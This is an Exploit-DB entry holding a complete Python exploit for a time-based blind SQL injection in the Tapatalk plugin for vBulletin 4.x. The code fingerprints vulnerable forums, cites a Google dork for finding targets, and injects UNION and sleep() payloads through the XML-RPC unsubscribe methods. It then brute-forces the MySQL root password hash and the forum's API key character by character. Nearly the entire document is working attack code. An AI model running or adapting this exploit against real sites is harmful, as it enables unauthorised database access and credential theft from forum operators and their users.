Tapatalk for vBulletin 4.x - Blind SQL Injection

EDB-ID:

35102




Platform:

PHP

Date:

2014-10-28


#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
@author: tintinweb 0x721427D8
'''
import urllib2, urllib
import xmlrpclib,re, urllib2,string,itertools,time
from distutils.version import LooseVersion


class Exploit(object):
    def __init__(self, target, debug=0 ):
        self.stopwatch_start=time.time()
        self.target = target
        self.path = target
        self.debug=debug
        if not self.target.endswith("mobiquo.php"):
            self.path = self.detect_tapatalk()
            if not self.path:
                raise Exception("Could not detect tapatalk or version not supported!")
        self.rpc_connect()
        self.attack_func = self.attack_2

    def detect_tapatalk(self):
        # request page, check for tapatalk banner
        handlers = [
                    urllib2.HTTPHandler(debuglevel=self.debug),
                    urllib2.HTTPSHandler(debuglevel=self.debug),

                    ]
        ua = urllib2.build_opener(*handlers)
        ua.addheaders = [('User-agent', 'Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3')]
        data = ua.open(self.target).read()
        if self.debug:
            print data
        if not "tapatalkDetect()" in data:
            print "[xx] could not detect tapatalk. bye..."
            return None
            
        # extract tapatalk version
        print "[ i] Taptalk detected ... ",
        path = "".join(re.findall(r"^\s*<link href=[\s'\"]?(http://.*?/)smartbanner/appbanner.css", data, re.MULTILINE|re.DOTALL))
        path+="mobiquo.php"
        print "'%s' ... "%path,
        data = urllib.urlopen(path).read()
        version = "".join(re.findall(r"Current Tapatalk plugin version:\s*([\d\.a-zA-Z]+)", data))
        if LooseVersion(version) <= LooseVersion("5.2.1"):
            print "v.%s  :) - OK"%version    
            return path
        print "v.%s :( - not vulnerable"%version
        return None
    
    def rpc_connect(self):
        self.rpc = xmlrpclib.ServerProxy(self.path,verbose=self.debug)
        
    def attack_1(self, sqli, sleep=2):
        
        '''
        SELECT subscribethreadid
                    FROM subscribethread AS subscribethread
                    LEFT JOIN user AS user ON (user.userid=subscribeforum.userid)
                    WHERE subscribethreadid = <INJECTION>
                      AND subscribethreadid.userid = 0";
                      
        <INJECTION>: 1 UNION ALL <select_like_probe> OR FALSE
        '''
        
        query = "-1 union %s and  (  select sleep(%s)   )  "%(sqli,sleep)
        query += "union select subscribethreadid from subscribethread  where 1=1 OR 1=1"          # fix query for "AND subscribeforum.userid=0"
        
        if self.debug:
            print """  SELECT subscribethreadid
                    FROM subscribethread AS subscribethread
                    LEFT JOIN user AS user ON (user.userid=subscribethread.userid)
                    WHERE subscribethreadid = %s
                      AND subscribethread.userid = 0"""%query
        
        return self.rpc.unsubscribe_topic("s_%s"%query)   #no escape, invalid_char="_"
    
    def attack_2(self, sqli, sleep=2):
        '''
        SELECT subscribeforumid
                    FROM subscribeforum AS subscribeforum
                    LEFT JOIN user AS user ON (user.userid=subscribeforum.userid)
                    WHERE subscribeforumid = <INJECTION>
                      AND subscribeforum.userid = 0";
                      
        <INJECTION>: 1 UNION ALL <select_like_probe> OR FALSE
        '''
        
        query = "-1 union %s and  (  select sleep(%s)   )  "%(sqli,sleep)
        query += "union select subscribeforumid from subscribeforum  where 1=1 OR 1=1"          # fix query for "AND subscribeforum.userid=0"
        
        if self.debug:
            print """  SELECT subscribeforumid
                    FROM subscribeforum AS subscribeforum
                    LEFT JOIN user AS user ON (user.userid=subscribeforum.userid)
                    WHERE subscribeforumid = %s
                      AND subscribeforum.userid = 0"""%query
                      
        return self.rpc.unsubscribe_forum("s_%s"%query)   #no escape, invalid_char="_"
        
    def attack_blind(self,sqli,sleep=2):
        return self.attack_func(sqli,sleep=sleep)
        #return self.attack_func("-1 OR subscribethreadid = ( %s AND (select sleep(4)) )  UNION SELECT 'aaa' FROM subscribethread  WHERE subscribethreadid = -1 OR 1 "%sqli)
        
    def attack_blind_guess(self,query, column, charset=string.ascii_letters+string.digits,maxlength=32, sleep=2, case=True):
        '''
        provide <query> = select -1 from user where user='debian-sys-maint' where <COLUMN> <GUESS>
        '''


        hit = False
        # PHASE 1 - guess entry length
        print "[    ] trying to guess length ..."
        for guess_length in xrange(maxlength+1):
            q = query.replace("<COLUMN>","length(%s)"%column).replace("<GUESS>","= %s"%guess_length)
            
            self.stopwatch()
            self.attack_blind(q, sleep)
            duration = self.stopwatch()
            
            print ".",
            
            if  duration >= sleep-sleep/8:
                # HIT! - got length! => guess_length
                hit = True
                print ""
                break
        
        if not hit:
            print "[ !!] unable to guess password length, check query!"
            return None
        
        
        print "[  *] LENGTH = %s"%guess_length
        
        # PHASE 2 - guess password up to length
        print "[    ] trying to guess value  ..."
        hits = 0
        result = ""
        for pos in xrange(guess_length):
            # for each char pos in up to guessed length
            for attempt in self.bruteforce(charset, 1):
                # probe all chars in charset
                #attempt = re.escape(attempt)
                if attempt == "%%":
                    attempt= "\%"
                #LIKE binary = case sensitive.might be better to do caseinsensitive search + recheck case with binary
                q = query.replace("<COLUMN>",column).replace("<GUESS>","LIKE '%s%s%%' "%(result,attempt))
            
                self.stopwatch()
                self.attack_blind(q, sleep)
                duration = self.stopwatch()
            
                #print result,attempt,"  ",duration
                print ".",
                if  duration >= sleep-sleep/8:
                    if case:
                        # case insensitive hit - recheck case: this is drastically reducing queries needed.
                        q = query.replace("<COLUMN>",column).replace("<GUESS>","LIKE binary '%s%s%%' "%(result,attempt.lower()))
                        self.stopwatch()
                        self.attack_blind(q, sleep)
                        duration = self.stopwatch()
                        if  duration >= sleep-sleep/8:
                            attempt = attempt.lower()
                        else:
                            attempt = attempt.upper()
                        # case sensitive - end
                        
                    
                    
                    # HIT! - got length! => guess_length
                    hits += 1
                    print ""
                    print "[  +] HIT! - %s[%s].."%(result,attempt)
                    result += attempt
                    break     
                
        if not hits==guess_length:
            print "[ !!] unable to guess password length, check query!"
            return None
        
        print "[  *] SUCCESS!: query: %s"%(query.replace("<COLUMN>",column).replace("<GUESS>","='%s'"%result)) 
        return result   
    
    def bruteforce(self, charset, maxlength):
        return (''.join(candidate)
            for candidate in itertools.chain.from_iterable(itertools.product(charset, repeat=i)
            for i in range(1, maxlength + 1)))
        
    def stopwatch(self):
        stop = time.time()
        diff = stop - self.stopwatch_start
        self.stopwatch_start=stop
        return diff
        
if __name__=="__main__":
    #googledork:  https://www.google.at/search?q=Tapatalk+Banner+head+start
    DEBUG = False
    TARGET = "http://TARGET/vbb4/forum.php"
    x = Exploit(TARGET,debug=DEBUG)

    print "[   ] TAPATALK for vBulletin 4.x - SQLi"
    print "[--] Target: %s"%TARGET
    if DEBUG: print "[--] DEBUG-Mode!" 
    
    print "[ +] Attack - sqli"


    query = u"-1  UNION SELECT 1%s"%unichr(0)
    if DEBUG:
        print u"""  SELECT subscribeforumid
                FROM subscribeforum AS subscribeforum
                LEFT JOIN user AS user ON (user.userid=subscribeforum.userid)
                WHERE subscribeforumid = %s
                  AND subscribeforum.userid = 0"""%query


    print "[ *] guess mysql user/pass"
    print x.attack_blind_guess("select -1 from mysql.user where user='root' and <COLUMN> <GUESS>", 
                               column="password",
                               charset="*"+string.hexdigits,
                               maxlength=45)        # usually 40 chars + 1 (*)
    
    print "[ *] guess apikey"
    print x.attack_blind_guess("select -1 from setting where varname='apikey' and <COLUMN> <GUESS>",
                               column='value',
                               charset=string.ascii_letters+string.digits,
                               maxlength=14,
                               )

    print "-- done --"